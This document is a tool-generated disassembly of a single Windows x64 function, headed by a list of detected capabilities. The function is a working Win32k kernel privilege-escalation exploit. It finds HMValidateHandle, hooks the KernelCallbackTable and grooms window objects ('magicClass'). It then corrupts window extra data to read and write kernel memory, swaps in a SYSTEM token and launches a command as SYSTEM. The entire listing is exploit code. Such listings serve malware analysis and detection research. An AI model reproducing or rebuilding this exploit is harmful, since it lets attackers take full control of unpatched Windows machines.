Function at 0x140001630
Capabilities:
Allocate or change rwx memory
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute command
Execute shellcode via indirect call
Read file on windows
Set registry value

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0xc1a0]
mov eax, 0xc2a0
call fcn.140002f40
sub rsp, rax
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0xc180], rax
lea rcx, str.user32.dll
mov qword [rsp + 0x70], rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000167e
lea rcx, str.Failed_to_load_user32
jmp 0x1400016c6
lea rdx, str.IsMenu
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x14000169f
lea rcx, str.Failed_to_find_location_of_exported_function_IsMenu_within_user32.dll_n
jmp 0x1400016c6
xor r12d, r12d
mov rcx, rdx
mov eax, r12d
inc eax
cmp byte [rcx], 0xe8
je 0x1400016bb
inc rcx
cmp eax, 0x1000
jb 0x1400016a8
jmp 0x1400016bf
test eax, eax
jne 0x1400016e1
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.1400021d0
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
call fcn.1400021d0
mov eax, 1
jmp 0x140002142
mov ecx, dword [rax + rdx]
sub ecx, edi
mov qword [rsp + 0xc2c0], rbx
add ecx, edx
mov qword [rsp + 0xc2d0], rsi
mov qword [rsp + 0xc2d8], r13
add rdi, 0xb
add rcx, rdi
mov qword [rsp + 0xc298], r14
mov qword [0x140006688], rcx
lea rcx, str.win32u.dll
mov qword [rsp + 0xc290], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUserConsoleControl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x140006630], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCallbackReturn
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140006628], rax
lea r9, [rbp + 0xd0]
mov rax, qword gs:[0x60]
mov edx, 0x300
mov r8d, 0x40
mov rdi, qword [rax + 0x58]
mov rax, qword [rdi + 0x3d8]
lea rcx, [rdi + 0x3d8]
mov qword [0x140006680], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, section..text
mov edx, 0x300
mov qword [rdi + 0x3d8], rax
lea r9, [rbp + 0xd0]
mov r8d, dword [rbp + 0xd0]
lea rcx, [rdi + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xorps xmm0, xmm0
mov qword [rbp + 0x38], r12
mov edi, eax
movdqa xmmword [rbp + 0x10], xmm0
mov eax, 0x80808081
mov dword [rbp - 0x10], 0x50
imul edi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x20], xmm1
mov dword [rbp - 0xc], 3
add edx, edi
mov dword [rbp], r12d
sar edx, 7
mov ecx, edx
mov dword [rbp + 4], 0x20
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub edi, ecx
xor ecx, ecx
lea eax, [rdi + 0x1234]
cdqe
or rax, 1
mov qword [0x140006678], rax
lea rax, [0x140001110]
mov qword [rbp - 8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 8], rax
lea rcx, [rbp - 0x10]
lea rax, str.normalClass
mov qword [rbp + 0x30], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov ecx, dword [0x140006678]
movzx r14d, ax
lea rax, str.magicClass
mov qword [rbp + 0x30], rax
mov dword [rbp + 4], ecx
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov word [rsp + 0x60], ax
call qword [sym.imp.USER32.dll_CreatePopupMenu]
mov edx, 0x200
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0x30
mov rsi, rax
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 4
mov rdi, rax
lea ecx, [rdx + 0x3c]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0xa0
mov rbx, rax
lea ecx, [rdx - 0x60]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 8
mov r13, rax
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [rdi + 0x2c], 0x10
lea rcx, str.CreateWnd_r_n
mov dword [rsi], 0x88888888
mov qword [rsi + 0x28], rdi
mov dword [rsi + 0x40], 1
mov dword [rsi + 0x44], 1
mov qword [rsi + 0x58], rax
mov qword [rbx + 8], 0x10
mov qword [rbx], rsi
mov qword [r13 + 0x98], rbx
mov qword [0x140006668], rax
call fcn.1400021d0
xorps xmm0, xmm0
mov qword [rbp - 0x30], r12
xorps xmm1, xmm1
mov qword [rbp - 0x28], r12
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x20], r12
mov r15d, 0xa
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp - 0x18], r12
mov rsi, r12
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm1
movups xmmword [rbp + 0x140], xmm1
movups xmmword [rbp + 0x150], xmm1
movups xmmword [rbp + 0x160], xmm1
movups xmmword [rbp + 0x170], xmm1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
mov qword [rsp + 0x58], r12
lea r8, str.somewnd
mov qword [rsp + 0x50], rdi
mov r9d, 0x8000000
mov qword [rsp + 0x48], rax
mov rdx, r14
mov qword [rsp + 0x40], r12
mov ecx, r9d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + rsi + 0x130], rax
mov edx, 1
mov rdi, rax
call qword [0x140006688]
mov rdx, rdi
lea rcx, str.Hwnd:_08x___qwfirstEntryDesktop_p_r_n
mov r8, rax
mov qword [rbp + rsi + 0xe0], rax
mov rbx, rax
call fcn.1400021d0
mov r8d, 0x30
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r8, qword [rbp - 0x28]
lea rcx, str.BaseAddress:_p___RegionSize:_p_r_n
mov rdx, qword [rbp - 0x40]
call fcn.1400021d0
mov rdx, qword [0x140006648]
mov rax, qword [rbp - 0x40]
test rdx, rdx
je 0x140001a65
cmp rdx, rax
jb 0x140001a7a
mov rdx, rax
mov qword [0x140006648], rax
mov rax, qword [rbp - 0x28]
mov qword [0x140006640], rax
add rsi, 8
sub r15, 1
jne 0x1400019a1
mov r8, qword [0x140006640]
lea rcx, str.Min_BaseAddress:_p___RegionSize:_p_r_n
call fcn.1400021d0
mov rax, qword [rbp + 0xe0]
mov rcx, r12
mov edi, dword [rax + 8]
mov rax, qword [rbp + 0xe8]
mov edx, dword [rax + 8]
cmp edx, edi
sbb r8, r8
and r8d, 8
cmp edi, edx
mov edi, 2
mov rax, qword [rbp + r8 + 0x130]
mov rsi, qword [rbp + r8 + 0xe0]
mov qword [rbp - 0x70], rax
mov eax, 8
cmovbe rcx, rax
mov rax, qword [rbp + rcx + 0x130]
mov rbx, qword [rbp + rcx + 0xe0]
mov qword [0x140006660], rax
mov eax, dword [rsi + 8]
mov dword [0x140006638], eax
mov r12d, dword [rbx + 8]
mov dword [rsp + 0x64], r12d
nop dword [rax + rax]
mov rcx, qword [rbp + rdi*8 + 0x130]
call qword [sym.imp.USER32.dll_DestroyWindow]
inc rdi
cmp rdi, 0xa
jl 0x140001b10
mov r8d, 0x10
lea rdx, [rbp - 0x70]
lea ecx, [r8 - 0xa]
call qword [0x140006630]
mov eax, dword [rbx + 0x128]
xor ecx, ecx
mov esi, dword [rsi + 0x128]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
call qword [sym.imp.USER32.dll_CreateMenu]
movzx edx, word [rsp + 0x60]
lea r8, str.somewnd
xor r15d, r15d
mov r9d, 0x8000000
mov qword [rsp + 0x58], r15
mov ecx, r9d
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdx, rax
mov qword [rsp + 0x78], rax
lea rcx, str.realMagicHwnd_p_n
mov r14, rax
call fcn.1400021d0
mov r8d, dword [0x140006638]
mov edx, 0x128
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, eax
lea rcx, str.dwRet_p_r_n
call fcn.1400021d0
mov edx, esi
lea rcx, str.tagWndMin_offset_0x128_p_r_n
call fcn.1400021d0
mov edx, 0xc8
mov r8d, 0xfffffff
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r8, qword [rbx + 0x18]
mov edx, r12d
sub edx, dword [0x140006638]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
mov qword [0x140006658], r8
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140006660]
lea edx, [r15 - 0xc]
mov r8, r13
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rdx, rax
mov qword [0x140006670], rax
lea rcx, str.g_qwExpLoit_p_r_n
call fcn.1400021d0
mov r14, qword [0x140006670]
mov edx, r12d
sub edx, dword [0x140006638]
mov r8, qword [0x140006658]
add edx, 0x18
mov rcx, qword [rbp - 0x70]
mov qword [rbp - 0x78], r14
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140006670]
add rcx, 0x50
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFrist_read_p_r_n
mov rbx, rax
call fcn.1400021d0
lea rcx, [rbx + 0x18]
call fcn.140001140
mov rdi, rax
mov rdx, rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.1400021d0
lea rcx, [rdi + 0x80]
call fcn.140001140
mov rdx, rax
mov qword [rbp - 0x80], rax
lea rcx, str.qwSecond_read_p_r_n
call fcn.1400021d0
lea rcx, [rbx + 0x10]
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFourth_read_p_r_n
mov rdi, rax
call fcn.1400021d0
mov rcx, rdi
call fcn.140001140
mov rdx, rax
lea rcx, str.qwFifth_read_p_r_n
mov rdi, rax
call fcn.1400021d0
lea rcx, [rdi + 0x220]
call fcn.140001140
mov rdx, rax
lea rcx, str.qwSixth_read_p_r_n
mov rdi, rax
call fcn.1400021d0
mov r13, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r12d, eax
xor ebx, ebx
nop
test r15, r15
je 0x140001d4a
test rbx, rbx
jne 0x140001d8f
lea rcx, [rdi + 0x2e8]
call fcn.140001140
lea rsi, [rdi + 0x360]
mov r14, rax
cmp eax, 4
jne 0x140001d70
mov rcx, rsi
call fcn.140001140
mov r15, rax
cmp r14d, r12d
lea rcx, [rdi + 0x2f0]
cmove rbx, rsi
call fcn.140001140
lea rdi, [rax - 0x2f0]
cmp r13, rdi
jne 0x140001d40
mov r12d, dword [rsp + 0x64]
mov r8, rbx
mov rcx, qword [rbp - 0x70]
mov edx, r12d
sub edx, dword [0x140006638]
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140006660]
mov r8, r15
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
xor edx, edx
lea rcx, [rbp + 0x2180]
mov r8d, 0xa000
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp + 0x60]
xor esi, esi
lea r8, [rbp - 0x58]
mov ecx, 0x68
lea rdx, [rbp - 0x60]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x40]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x58]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x58], 0x18
xor r9d, r9d
mov qword [rbp - 0x50], rsi
mov edi, esi
mov dword [rbp - 0x48], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov r15, qword [rsp + 0xc290]
mov r14, qword [rsp + 0xc298]
mov r13, qword [rsp + 0xc2d8]
test eax, eax
jne 0x140001e48
lea eax, [rsi - 3]
jmp 0x140002132
mov rbx, qword [rsp + 0x70]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
mov rdx, qword [rbx + 8]
call fcn.140002160
lea rcx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rbp - 0x60]
lea rcx, [rbp + 0x180]
mov qword [rbp + 0xc0], rax
xor edx, edx
mov qword [rbp + 0xb8], rax
mov r8d, 0x2000
lea rax, str.WinSta0Default
mov word [rbp + 0xa0], si
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x9c], 0x101
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbx + 8]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x180]
lea rax, [rbp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp - 0x60]
test eax, eax
jne 0x140001f34
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessW_Failed___lx__n
call fcn.1400021d0
mov eax, 0xfffffffe
jmp 0x140002132
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0x50]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.1400021d0
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
mov r8d, 0xfa0
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x2180]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001fa3
add edi, dword [rbp + 0xd4]
lea rdx, [rbp + 0x2180]
mov rcx, qword [rbp - 0x68]
lea r9, [rbp + 0xd4]
movsxd rax, edi
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140001f70
lea rcx, str.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, [rbp + 0x2180]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
mov edx, 1
call qword [0x140006688]
mov rsi, qword [rbp - 0x80]
mov edx, r12d
sub edx, dword [0x140006638]
mov rdi, rax
movabs rax, 0x80000000000
add edx, 0x128
lea r8, [rsi + 0x128]
mov ecx, dword [rdi + 8]
mov rbx, qword [rdi + 0xe0]
add r8, rcx
mov rcx, qword [rbp - 0x70]
xor rbx, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140006660]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov eax, dword [rdi + 8]
lea r8, [rsi + 0xe0]
mov rcx, qword [rbp - 0x70]
mov edx, r12d
sub edx, dword [0x140006638]
add r8, rax
add edx, 0x128
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov rcx, qword [0x140006660]
mov r8, rbx
xor edx, edx
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140006658]
mov edx, r12d
sub edx, dword [0x140006638]
movabs rax, 0x4000000000000000
mov rcx, qword [rbp - 0x70]
add edx, 0x18
xor r8, rax
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [rbp - 0x78]
mov edx, 0xfffffff4
mov rcx, qword [0x140006660]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, qword [0x140006658]
mov edx, r12d
sub edx, dword [0x140006638]
mov rcx, qword [rbp - 0x70]
add edx, 0x18
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
sub r12d, dword [0x140006638]
mov r8d, dword [rsp + 0x68]
mov rcx, qword [rbp - 0x70]
lea edx, [r12 + 0x128]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8d, dword [rsp + 0x6c]
mov edx, 0x128
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rbx, qword [rsp + 0xc2c0]
mov rsi, qword [rsp + 0xc2d0]
mov rcx, qword [rbp + 0xc180]
xor rcx, rsp
call fcn.140002240
add rsp, 0xc2a0
pop r12
pop rdi
pop rbp
ret